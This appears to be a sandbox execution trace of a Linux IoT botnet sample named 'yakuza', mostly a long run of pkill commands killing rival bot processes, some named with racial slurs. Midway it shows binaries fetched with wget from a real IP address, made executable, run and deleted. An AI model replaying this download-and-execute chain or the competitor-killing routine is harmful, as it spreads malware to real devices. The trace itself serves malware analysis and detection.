-
-
/bin/busyboxbusybox pkill -9 6402774⤵PID:2205
-
-
-
/bin/shsh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"3⤵PID:2212
-
/usr/bin/pkillpkill -9 SoraBeReppin13374⤵PID:2213
-
-
/bin/busyboxbusybox pkill -9 SoraBeReppin13374⤵PID:2214
-
-
-
/bin/shsh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"3⤵
- System Network Configuration Discovery
PID:2221 -
/usr/bin/pkillpkill -9 ipcamCache4⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:2222
-
-
/bin/busyboxbusybox pkill -9 ipcamCache4⤵
- System Network Configuration Discovery
PID:2223
-
-
-
/bin/shsh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"3⤵PID:2230
-
/usr/bin/pkillpkill -9 66tlGg9Q4⤵PID:2231
-
-
/bin/busyboxbusybox pkill -9 66tlGg9Q4⤵PID:2232
-
-
-
/bin/shsh -c "pkill -9 T || busybox pkill -9 T"3⤵PID:2239
-
/usr/bin/pkillpkill -9 T4⤵
- Reads CPU attributes
PID:2240
-
-
/bin/busyboxbusybox pkill -9 T4⤵PID:2241
-
-
-
/bin/shsh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"3⤵PID:2248
-
/usr/bin/pkillpkill -9 jUYfouyf874⤵PID:2249
-
-
/bin/busyboxbusybox pkill -9 jUYfouyf874⤵PID:2250
-
-
-
/bin/shsh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"3⤵PID:2257
-
/usr/bin/pkillpkill -9 6ke34⤵PID:2258
-
-
/bin/busyboxbusybox pkill -9 6ke34⤵PID:2259
-
-
-
/bin/shsh -c "pkill -9 TOKYO3 || busybox pkill -9 TOKYO3"3⤵PID:2266
-
/usr/bin/pkillpkill -9 TOKYO34⤵
- Reads runtime system information
PID:2267
-
-
/bin/busyboxbusybox pkill -9 TOKYO34⤵PID:2268
-
-
-
/bin/shsh -c "pkill -9 lyEeaXul2dULCVxh || busybox pkill -9 lyEeaXul2dULCVxh"3⤵PID:2275
-
/usr/bin/pkillpkill -9 lyEeaXul2dULCVxh4⤵PID:2276
-
-
/bin/busyboxbusybox pkill -9 lyEeaXul2dULCVxh4⤵PID:2277
-
-
-
/bin/shsh -c "pkill -9 93OfjHZ2z || busybox pkill -9 93OfjHZ2z"3⤵PID:2282
-
/usr/bin/pkillpkill -9 93OfjHZ2z4⤵
- Reads CPU attributes
- Reads runtime system information
PID:2283
-
-
/bin/busyboxbusybox pkill -9 93OfjHZ2z4⤵PID:2286
-
-
-
/bin/shsh -c "pkill -9 TY2gD6MZvKc7KU6r || busybox pkill -9 TY2gD6MZvKc7KU6r"3⤵PID:2290
-
/usr/bin/pkillpkill -9 TY2gD6MZvKc7KU6r4⤵PID:2291
-
-
/bin/busyboxbusybox pkill -9 TY2gD6MZvKc7KU6r4⤵PID:2294
-
-
-
/bin/shsh -c "pkill -9 mMkiy6f87l || busybox pkill -9 mMkiy6f87l"3⤵PID:2296
-
/usr/bin/pkillpkill -9 mMkiy6f87l4⤵
- Reads CPU attributes
PID:2297
-
-
/bin/busyboxbusybox pkill -9 mMkiy6f87l4⤵PID:2303
-
-
-
/bin/shsh -c "pkill -9 A023UU4U24UIU || busybox pkill -9 A023UU4U24UIU"3⤵PID:2305
-
/usr/bin/pkillpkill -9 A023UU4U24UIU4⤵
- Reads CPU attributes
PID:2306
-
-
/bin/busyboxbusybox pkill -9 A023UU4U24UIU4⤵PID:2311
-
-
-
/bin/shsh -c "pkill -9 TheWeeknd || busybox pkill -9 TheWeeknd"3⤵PID:2315
-
/usr/bin/pkillpkill -9 TheWeeknd4⤵PID:2317
-
-
/bin/busyboxbusybox pkill -9 TheWeeknd4⤵PID:2320
-
-
-
/bin/shsh -c "pkill -9 mioribitches || busybox pkill -9 mioribitches"3⤵PID:2323
-
/usr/bin/pkillpkill -9 mioribitches4⤵PID:2326
-
-
/bin/busyboxbusybox pkill -9 mioribitches4⤵PID:2330
-
-
-
/bin/shsh -c "pkill -9 A5p9 || busybox pkill -9 A5p9"3⤵PID:2333
-
/usr/bin/pkillpkill -9 A5p94⤵PID:2336
-
-
/bin/busyboxbusybox pkill -9 A5p94⤵PID:2338
-
-
-
/bin/shsh -c "pkill -9 TheWeeknds || busybox pkill -9 TheWeeknds"3⤵PID:2341
-
/usr/bin/pkillpkill -9 TheWeeknds4⤵
- Reads CPU attributes
PID:2342
-
-
/bin/busyboxbusybox pkill -9 TheWeeknds4⤵PID:2347
-
-
-
/bin/shsh -c "pkill -9 mnblkjpoi || busybox pkill -9 mnblkjpoi"3⤵PID:2350
-
/usr/bin/pkillpkill -9 mnblkjpoi4⤵PID:2355
-
-
/bin/busyboxbusybox pkill -9 mnblkjpoi4⤵PID:2357
-
-
-
/bin/shsh -c "pkill -9 AbAd || busybox pkill -9 AbAd"3⤵PID:2360
-
/usr/bin/pkillpkill -9 AbAd4⤵PID:2361
-
-
/bin/busyboxbusybox pkill -9 AbAd4⤵PID:2367
-
-
-
/bin/shsh -c "pkill -9 Tokyos || busybox pkill -9 Tokyos"3⤵PID:2371
-
/usr/bin/pkillpkill -9 Tokyos4⤵
- Reads runtime system information
PID:2372
-
-
/bin/busyboxbusybox pkill -9 Tokyos4⤵PID:2376
-
-
-
/bin/shsh -c "pkill -9 neb || busybox pkill -9 neb"3⤵PID:2380
-
/usr/bin/pkillpkill -9 neb4⤵PID:2381
-
-
/bin/busyboxbusybox pkill -9 neb4⤵PID:2385
-
-
-
/bin/shsh -c "pkill -9 Akiru || busybox pkill -9 Akiru"3⤵PID:2388
-
/usr/bin/pkillpkill -9 Akiru4⤵PID:2391
-
-
/bin/busyboxbusybox pkill -9 Akiru4⤵PID:2392
-
-
-
/bin/shsh -c "pkill -9 U8inTz || busybox pkill -9 U8inTz"3⤵PID:2396
-
/usr/bin/pkillpkill -9 U8inTz4⤵PID:2397
-
-
/bin/busyboxbusybox pkill -9 U8inTz4⤵PID:2403
-
-
-
/bin/shsh -c "pkill -9 netstats || busybox pkill -9 netstats"3⤵PID:2407
-
/usr/bin/pkillpkill -9 netstats4⤵PID:2408
-
-
/bin/busyboxbusybox pkill -9 netstats4⤵PID:2412
-
-
-
/bin/shsh -c "pkill -9 Alex || busybox pkill -9 Alex"3⤵PID:2417
-
/usr/bin/pkillpkill -9 Alex4⤵
- Reads CPU attributes
PID:2418
-
-
/bin/busyboxbusybox pkill -9 Alex4⤵PID:2420
-
-
-
/bin/shsh -c "pkill -9 W9RCAKM20T || busybox pkill -9 W9RCAKM20T"3⤵PID:2424
-
/usr/bin/pkillpkill -9 W9RCAKM20T4⤵PID:2427
-
-
/bin/busyboxbusybox pkill -9 W9RCAKM20T4⤵PID:2430
-
-
-
/bin/shsh -c "pkill -9 newnetword || busybox pkill -9 newnetword"3⤵PID:2434
-
/usr/bin/pkillpkill -9 newnetword4⤵PID:2436
-
-
/bin/busyboxbusybox pkill -9 newnetword4⤵PID:2438
-
-
-
/bin/shsh -c "pkill -9 Ayo215 || busybox pkill -9 Ayo215"3⤵PID:2440
-
/usr/bin/pkillpkill -9 Ayo2154⤵PID:2443
-
-
/bin/busyboxbusybox pkill -9 Ayo2154⤵PID:2448
-
-
-
/bin/shsh -c "pkill -9 Word || busybox pkill -9 Word"3⤵PID:2451
-
/usr/bin/pkillpkill -9 Word4⤵PID:2454
-
-
/bin/busyboxbusybox pkill -9 Word4⤵PID:2456
-
-
-
/bin/shsh -c "pkill -9 nloads || busybox pkill -9 nloads"3⤵PID:2459
-
/usr/bin/pkillpkill -9 nloads4⤵
- Reads CPU attributes
- Reads runtime system information
PID:2463
-
-
/bin/busyboxbusybox pkill -9 nloads4⤵PID:2465
-
-
-
/bin/shsh -c "pkill -9 BAdAsV || busybox pkill -9 BAdAsV"3⤵PID:2468
-
/usr/bin/pkillpkill -9 BAdAsV4⤵PID:2472
-
-
/bin/busyboxbusybox pkill -9 BAdAsV4⤵PID:2475
-
-
-
/bin/shsh -c "pkill -9 Wordmane || busybox pkill -9 Wordmane"3⤵PID:2478
-
/usr/bin/pkillpkill -9 Wordmane4⤵PID:2481
-
-
/bin/busyboxbusybox pkill -9 Wordmane4⤵PID:2483
-
-
-
/bin/shsh -c "pkill -9 notyakuzaa || busybox pkill -9 notyakuzaa"3⤵PID:2485
-
/usr/bin/pkillpkill -9 notyakuzaa4⤵PID:2490
-
-
/bin/busyboxbusybox pkill -9 notyakuzaa4⤵PID:2491
-
-
-
/bin/shsh -c "pkill -9 Belch || busybox pkill -9 Belch"3⤵PID:2495
-
/usr/bin/pkillpkill -9 Belch4⤵PID:2498
-
-
/bin/busyboxbusybox pkill -9 Belch4⤵PID:2500
-
-
-
/bin/shsh -c "pkill -9 Wordnets || busybox pkill -9 Wordnets"3⤵PID:2503
-
/usr/bin/pkillpkill -9 Wordnets4⤵PID:2507
-
-
/bin/busyboxbusybox pkill -9 Wordnets4⤵PID:2510
-
-
-
/bin/shsh -c "pkill -9 obp || busybox pkill -9 obp"3⤵PID:2512
-
/usr/bin/pkillpkill -9 obp4⤵PID:2515
-
-
/bin/busyboxbusybox pkill -9 obp4⤵PID:2520
-
-
-
/bin/shsh -c "pkill -9 BigN0gg0r420 || busybox pkill -9 BigN0gg0r420"3⤵PID:2523
-
/usr/bin/pkillpkill -9 BigN0gg0r4204⤵PID:2526
-
-
/bin/busyboxbusybox pkill -9 BigN0gg0r4204⤵PID:2527
-
-
-
-
/bin/rmrm -rf yakuza.x862⤵PID:1503
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.arm62⤵
- Writes file to tmp directory
PID:1508
-
-
/bin/chmodchmod +x yakuza.arm62⤵
- File and Directory Permissions Modification
PID:1511
-
-
/tmp/yakuza.arm6./yakuza.arm62⤵PID:1512
-
-
/bin/rmrm -rf yakuza.arm62⤵PID:1514
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.i6862⤵
- Writes file to tmp directory
PID:1515
-
-
/bin/chmodchmod +x yakuza.i6862⤵
- File and Directory Permissions Modification
PID:1516
-
-
/tmp/yakuza.i686./yakuza.i6862⤵PID:1517
-
/bin/shsh -c "pkill -9 902i13 || busybox pkill -9 902i13"3⤵PID:1522
-
/usr/bin/pkillpkill -9 902i134⤵PID:1524
-
-
/bin/busyboxbusybox pkill -9 902i134⤵PID:1525
-
-
-
/bin/shsh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"3⤵PID:1544
-
/usr/bin/pkillpkill -9 BzSxLxBxeY4⤵PID:1545
-
-
/bin/busyboxbusybox pkill -9 BzSxLxBxeY4⤵PID:1546
-
-
-
/bin/shsh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"3⤵PID:1563
-
/usr/bin/pkillpkill -9 HOHO-LUGO74⤵PID:1564
-
-
/bin/busyboxbusybox pkill -9 HOHO-LUGO74⤵PID:1565
-
-
-
/bin/shsh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"3⤵PID:1586
-
/usr/bin/pkillpkill -9 HOHO-U79OL4⤵PID:1587
-
-
/bin/busyboxbusybox pkill -9 HOHO-U79OL4⤵PID:1588
-
-
-
/bin/shsh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"3⤵PID:1595
-
/usr/bin/pkillpkill -9 JuYfouyf874⤵PID:1596
-
-
/bin/busyboxbusybox pkill -9 JuYfouyf874⤵PID:1597
-
-
-
/bin/shsh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"3⤵PID:1604
-
/usr/bin/pkillpkill -9 NiGGeR69xd4⤵PID:1605
-
-
/bin/busyboxbusybox pkill -9 NiGGeR69xd4⤵PID:1606
-
-
-
/bin/shsh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"3⤵PID:1613
-
/usr/bin/pkillpkill -9 SO190Ij1X4⤵PID:1614
-
-
/bin/busyboxbusybox pkill -9 SO190Ij1X4⤵PID:1615
-
-
-
/bin/shsh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"3⤵PID:1622
-
/usr/bin/pkillpkill -9 LOLKIKEEEDDE4⤵PID:1623
-
-
/bin/busyboxbusybox pkill -9 LOLKIKEEEDDE4⤵PID:1624
-
-
-
/bin/shsh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"3⤵PID:1631
-
/usr/bin/pkillpkill -9 ekjheory98e4⤵PID:1632
-
-
/bin/busyboxbusybox pkill -9 ekjheory98e4⤵PID:1633
-
-
-
/bin/shsh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"3⤵PID:1640
-
/usr/bin/pkillpkill -9 scansh44⤵PID:1641
-
-
/bin/busyboxbusybox pkill -9 scansh44⤵PID:1642
-
-
-
/bin/shsh -c "pkill -9 MDMA || busybox pkill -9 MDMA"3⤵PID:1649
-
/usr/bin/pkillpkill -9 MDMA4⤵PID:1650
-
-
/bin/busyboxbusybox pkill -9 MDMA4⤵PID:1651
-
-
-
/bin/shsh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"3⤵PID:1658
-
/usr/bin/pkillpkill -9 fdevalvex4⤵
- Reads CPU attributes
PID:1659
-
-
/bin/busyboxbusybox pkill -9 fdevalvex4⤵PID:1660
-
-
-
/bin/shsh -c "pkill -9 scanspc || busybox pkill -9 scanspc"3⤵PID:1667
-
/usr/bin/pkillpkill -9 scanspc4⤵
- Reads CPU attributes
PID:1668
-
-
/bin/busyboxbusybox pkill -9 scanspc4⤵PID:1669
-
-
-
/bin/shsh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"3⤵PID:1676
-
/usr/bin/pkillpkill -9 MELTEDNINJAREALZ4⤵PID:1677
-
-
/bin/busyboxbusybox pkill -9 MELTEDNINJAREALZ4⤵PID:1678
-
-
-
/bin/shsh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"3⤵PID:1685
-
/usr/bin/pkillpkill -9 flexsonskids4⤵
- Reads runtime system information
PID:1686
-
-
/bin/busyboxbusybox pkill -9 flexsonskids4⤵PID:1687
-
-
-
/bin/shsh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"3⤵PID:1694
-
/usr/bin/pkillpkill -9 scanx864⤵PID:1695
-
-
/bin/busyboxbusybox pkill -9 scanx864⤵PID:1696
-
-
-
/bin/shsh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"3⤵PID:1703
-
/usr/bin/pkillpkill -9 MISAKI-U79OL4⤵PID:1704
-
-
/bin/busyboxbusybox pkill -9 MISAKI-U79OL4⤵PID:1705
-
-
-
/bin/shsh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"3⤵PID:1712
-
/usr/bin/pkillpkill -9 foAxi102kxe4⤵PID:1713
-
-
/bin/busyboxbusybox pkill -9 foAxi102kxe4⤵PID:1714
-
-
-
/bin/shsh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"3⤵PID:1721
-
/usr/bin/pkillpkill -9 swodjwodjwoj4⤵
- Reads CPU attributes
PID:1722
-
-
/bin/busyboxbusybox pkill -9 swodjwodjwoj4⤵PID:1723
-
-
-
/bin/shsh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"3⤵PID:1730
-
/usr/bin/pkillpkill -9 MmKiy7f87l4⤵PID:1731
-
-
/bin/busyboxbusybox pkill -9 MmKiy7f87l4⤵PID:1732
-
-
-
/bin/shsh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"3⤵PID:1739
-
/usr/bin/pkillpkill -9 freecookiex864⤵PID:1740
-
-
/bin/busyboxbusybox pkill -9 freecookiex864⤵PID:1741
-
-
-
/bin/shsh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"3⤵PID:1748
-
/usr/bin/pkillpkill -9 sysgpu4⤵PID:1749
-
-
/bin/busyboxbusybox pkill -9 sysgpu4⤵PID:1750
-
-
-
/bin/shsh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"3⤵PID:1757
-
/usr/bin/pkillpkill -9 NiGGeR69xd4⤵PID:1758
-
-
/bin/busyboxbusybox pkill -9 NiGGeR69xd4⤵PID:1759
-
-
-
/bin/shsh -c "pkill -9 frgege || busybox pkill -9 frgege"3⤵PID:1766
-
/usr/bin/pkillpkill -9 frgege4⤵PID:1767
-
-
/bin/busyboxbusybox pkill -9 frgege4⤵PID:1768
-
-
-
/bin/shsh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"3⤵PID:1775
-
/usr/bin/pkillpkill -9 sysupdater4⤵
- Reads CPU attributes
PID:1776
-
-
/bin/busyboxbusybox pkill -9 sysupdater4⤵PID:1777
-
-
-
/bin/shsh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"3⤵PID:1784
-
/usr/bin/pkillpkill -9 0DnAzepd4⤵PID:1785
-
-
/bin/busyboxbusybox pkill -9 0DnAzepd4⤵PID:1786
-
-
-
/bin/shsh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"3⤵PID:1793
-
/usr/bin/pkillpkill -9 NiGGeRD0nks694⤵PID:1794
-
-
/bin/busyboxbusybox pkill -9 NiGGeRD0nks694⤵PID:1795
-
-
-
/bin/shsh -c "pkill -9 frgreu || busybox pkill -9 frgreu"3⤵PID:1804
-
/usr/bin/pkillpkill -9 frgreu4⤵PID:1805
-
-
/bin/busyboxbusybox pkill -9 frgreu4⤵PID:1806
-
-
-
/bin/shsh -c "pkill -9 telnetd || busybox pkill -9 telnetd"3⤵PID:1813
-
/usr/bin/pkillpkill -9 telnetd4⤵PID:1814
-
-
/bin/busyboxbusybox pkill -9 telnetd4⤵PID:1815
-
-
-
/bin/shsh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"3⤵PID:1822
-
/usr/bin/pkillpkill -9 0x766f69644⤵PID:1823
-
-
/bin/busyboxbusybox pkill -9 0x766f69644⤵PID:1824
-
-
-
/bin/shsh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"3⤵PID:1831
-
/usr/bin/pkillpkill -9 NiGGeRd0nks13374⤵PID:1832
-
-
/bin/busyboxbusybox pkill -9 NiGGeRd0nks13374⤵PID:1833
-
-
-
/bin/shsh -c "pkill -9 gaft || busybox pkill -9 gaft"3⤵PID:1840
-
/usr/bin/pkillpkill -9 gaft4⤵PID:1841
-
-
/bin/busyboxbusybox pkill -9 gaft4⤵PID:1842
-
-
-
/bin/shsh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"3⤵PID:1849
-
/usr/bin/pkillpkill -9 urasgbsigboa4⤵PID:1850
-
-
/bin/busyboxbusybox pkill -9 urasgbsigboa4⤵PID:1851
-
-
-
/bin/shsh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"3⤵PID:1858
-
/usr/bin/pkillpkill -9 120i3UI494⤵
- Reads runtime system information
PID:1859
-
-
/bin/busyboxbusybox pkill -9 120i3UI494⤵PID:1860
-
-
-
/bin/shsh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"3⤵PID:1867
-
/usr/bin/pkillpkill -9 OaF34⤵
- Reads CPU attributes
PID:1868
-
-
/bin/busyboxbusybox pkill -9 OaF34⤵PID:1869
-
-
-
/bin/shsh -c "pkill -9 geae || busybox pkill -9 geae"3⤵PID:1876
-
/usr/bin/pkillpkill -9 geae4⤵PID:1877
-
-
/bin/busyboxbusybox pkill -9 geae4⤵PID:1878
-
-
-
/bin/shsh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"3⤵PID:1885
-
/usr/bin/pkillpkill -9 vaiolmao4⤵PID:1886
-
-
/bin/busyboxbusybox pkill -9 vaiolmao4⤵PID:1887
-
-
-
/bin/shsh -c "pkill -9 123123a || busybox pkill -9 123123a"3⤵PID:1894
-
/usr/bin/pkillpkill -9 123123a4⤵
- Reads runtime system information
PID:1895
-
-
/bin/busyboxbusybox pkill -9 123123a4⤵PID:1896
-
-
-
/bin/shsh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"3⤵PID:1903
-
/usr/bin/pkillpkill -9 Ofurain0n4H34D4⤵PID:1904
-
-
/bin/busyboxbusybox pkill -9 Ofurain0n4H34D4⤵PID:1905
-
-
-
/bin/shsh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"3⤵PID:1912
-
/usr/bin/pkillpkill -9 ggTrex4⤵PID:1913
-
-
/bin/busyboxbusybox pkill -9 ggTrex4⤵PID:1914
-
-
-
/bin/shsh -c "pkill -9 wasads || busybox pkill -9 wasads"3⤵PID:1921
-
/usr/bin/pkillpkill -9 wasads4⤵
- Reads runtime system information
PID:1922
-
-
/bin/busyboxbusybox pkill -9 wasads4⤵PID:1923
-
-
-
/bin/shsh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"3⤵PID:1930
-
/usr/bin/pkillpkill -9 1293194hjXD4⤵PID:1931
-
-
/bin/busyboxbusybox pkill -9 1293194hjXD4⤵PID:1932
-
-
-
/bin/shsh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"3⤵PID:1939
-
/usr/bin/pkillpkill -9 OthLaLosn4⤵PID:1940
-
-
/bin/busyboxbusybox pkill -9 OthLaLosn4⤵PID:1941
-
-
-
/bin/shsh -c "pkill -9 ggt || busybox pkill -9 ggt"3⤵PID:1948
-
/usr/bin/pkillpkill -9 ggt4⤵
- Reads CPU attributes
- Reads runtime system information
PID:1949
-
-
/bin/busyboxbusybox pkill -9 ggt4⤵PID:1950
-
-
-
/bin/shsh -c "pkill -9 wget-log || busybox pkill -9 wget-log"3⤵PID:1957
-
/usr/bin/pkillpkill -9 wget-log4⤵PID:1958
-
-
/bin/busyboxbusybox pkill -9 wget-log4⤵PID:1959
-
-
-
/bin/shsh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"3⤵PID:1966
-
/usr/bin/pkillpkill -9 1337SoraLOADER4⤵PID:1967
-
-
/bin/busyboxbusybox pkill -9 1337SoraLOADER4⤵PID:1968
-
-
-
/bin/shsh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"3⤵PID:1975
-
/usr/bin/pkillpkill -9 SAIAKINA4⤵
- Reads CPU attributes
PID:1976
-
-
/bin/busyboxbusybox pkill -9 SAIAKINA4⤵PID:1977
-
-
-
/bin/shsh -c "pkill -9 ggtq || busybox pkill -9 ggtq"3⤵PID:1984
-
/usr/bin/pkillpkill -9 ggtq4⤵PID:1985
-
-
/bin/busyboxbusybox pkill -9 ggtq4⤵PID:1986
-
-
-
/bin/shsh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"3⤵PID:1993
-
/usr/bin/pkillpkill -9 1378bfp919GRB1Q24⤵
- Reads runtime system information
PID:1994
-
-
/bin/busyboxbusybox pkill -9 1378bfp919GRB1Q24⤵PID:1995
-
-
-
/bin/shsh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"3⤵PID:2002
-
/usr/bin/pkillpkill -9 SAIAKUSO4⤵PID:2003
-
-
/bin/busyboxbusybox pkill -9 SAIAKUSO4⤵PID:2004
-
-
-
/bin/shsh -c "pkill -9 ggtr || busybox pkill -9 ggtr"3⤵PID:2011
-
/usr/bin/pkillpkill -9 ggtr4⤵PID:2012
-
-
/bin/busyboxbusybox pkill -9 ggtr4⤵PID:2013
-
-
-
/bin/shsh -c "pkill -9 14Fa || busybox pkill -9 14Fa"3⤵PID:2020
-
/usr/bin/pkillpkill -9 14Fa4⤵PID:2021
-
-
/bin/busyboxbusybox pkill -9 14Fa4⤵PID:2022
-
-
-
/bin/shsh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"3⤵PID:2029
-
/usr/bin/pkillpkill -9 SEXSLAVE13374⤵
- Reads CPU attributes
PID:2030
-
-
/bin/busyboxbusybox pkill -9 SEXSLAVE13374⤵PID:2031
-
-
-
/bin/shsh -c "pkill -9 ggtt || busybox pkill -9 ggtt"3⤵PID:2038
-
/usr/bin/pkillpkill -9 ggtt4⤵
- Reads runtime system information
PID:2039
-
-
/bin/busyboxbusybox pkill -9 ggtt4⤵PID:2040
-
-
-
/bin/shsh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"3⤵PID:2047
-
/usr/bin/pkillpkill -9 1902a3u912u3u44⤵
- Reads CPU attributes
PID:2048
-
-
/bin/busyboxbusybox pkill -9 1902a3u912u3u44⤵PID:2049
-
-
-
/bin/shsh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"3⤵PID:2056
-
/usr/bin/pkillpkill -9 SO190Ij1X4⤵PID:2057
-
-
/bin/busyboxbusybox pkill -9 SO190Ij1X4⤵PID:2058
-
-
-
/bin/shsh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"3⤵PID:2065
-
/usr/bin/pkillpkill -9 haetrghbr4⤵
- Reads CPU attributes
- Reads runtime system information
PID:2066
-
-
/bin/busyboxbusybox pkill -9 haetrghbr4⤵PID:2067
-
-
-
/bin/shsh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"3⤵PID:2074
-
/usr/bin/pkillpkill -9 19ju3d4⤵PID:2075
-
-
/bin/busyboxbusybox pkill -9 19ju3d4⤵PID:2076
-
-
-
/bin/shsh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"3⤵PID:2083
-
/usr/bin/pkillpkill -9 SORAojkf1204⤵PID:2084
-
-
/bin/busyboxbusybox pkill -9 SORAojkf1204⤵PID:2085
-
-
-
/bin/shsh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"3⤵PID:2092
-
/usr/bin/pkillpkill -9 hehahejeje924⤵PID:2093
-
-
/bin/busyboxbusybox pkill -9 hehahejeje924⤵PID:2094
-
-
-
/bin/shsh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"3⤵PID:2101
-
/usr/bin/pkillpkill -9 2U2JDJA901F914⤵PID:2102
-
-
/bin/busyboxbusybox pkill -9 2U2JDJA901F914⤵PID:2103
-
-
-
/bin/shsh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"3⤵PID:2110
-
/usr/bin/pkillpkill -9 SlaVLav124⤵PID:2111
-
-
/bin/busyboxbusybox pkill -9 SlaVLav124⤵PID:2112
-
-
-
/bin/shsh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"3⤵PID:2119
-
/usr/bin/pkillpkill -9 helpmedaddthhhhh4⤵PID:2120
-
-
/bin/busyboxbusybox pkill -9 helpmedaddthhhhh4⤵PID:2121
-
-
-
/bin/shsh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"3⤵PID:2128
-
/usr/bin/pkillpkill -9 2wgg9qphbq4⤵PID:2129
-
-
/bin/busyboxbusybox pkill -9 2wgg9qphbq4⤵PID:2130
-
-
-
/bin/shsh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"3⤵PID:2137
-
/usr/bin/pkillpkill -9 Slav3Th3seD3vices4⤵
- Reads runtime system information
PID:2138
-
-
/bin/busyboxbusybox pkill -9 Slav3Th3seD3vices4⤵PID:2139
-
-
-
/bin/shsh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"3⤵PID:2146
-
/usr/bin/pkillpkill -9 hzSmYZjYMQ4⤵PID:2147
-
-
/bin/busyboxbusybox pkill -9 hzSmYZjYMQ4⤵PID:2148
-
-
-
/bin/shsh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"3⤵PID:2155
-
/usr/bin/pkillpkill -9 5Gbf4⤵
- Reads runtime system information
PID:2156
-
-
/bin/busyboxbusybox pkill -9 5Gbf4⤵PID:2157
-
-
-
/bin/shsh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"3⤵PID:2164
-
/usr/bin/pkillpkill -9 SoRAxD123LOL4⤵
- Reads runtime system information
PID:2165
-
-
/bin/busyboxbusybox pkill -9 SoRAxD123LOL4⤵PID:2166
-
-
-
/bin/shsh -c "pkill -9 iaGv || busybox pkill -9 iaGv"3⤵PID:2173
-
/usr/bin/pkillpkill -9 iaGv4⤵PID:2174
-
-
/bin/busyboxbusybox pkill -9 iaGv4⤵PID:2175
-
-
-
/bin/shsh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"3⤵PID:2182
-
/usr/bin/pkillpkill -9 5aA34⤵PID:2183
-
-
/bin/busyboxbusybox pkill -9 5aA34⤵PID:2184
-
-
-
/bin/shsh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"3⤵PID:2190
-
/usr/bin/pkillpkill -9 SoRAxD420LOL4⤵
- Reads runtime system information
PID:2191
-
-
/bin/busyboxbusybox pkill -9 SoRAxD420LOL4⤵PID:2193
-
-
-
/bin/shsh -c "pkill -9 insomni || busybox pkill -9 insomni"3⤵PID:2199
-
/usr/bin/pkillpkill -9 insomni4⤵PID:2200
-
-
/bin/busyboxbusybox pkill -9 insomni4⤵PID:2202
-
-
-
/bin/shsh -c "pkill -9 640277 || busybox pkill -9 640277"3⤵PID:2208
-
/usr/bin/pkillpkill -9 6402774⤵
- Reads runtime system information
PID:2209
-
-
/bin/busyboxbusybox pkill -9 6402774⤵PID:2211
-
-
-
/bin/shsh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"3⤵PID:2217
-
/usr/bin/pkillpkill -9 SoraBeReppin13374⤵
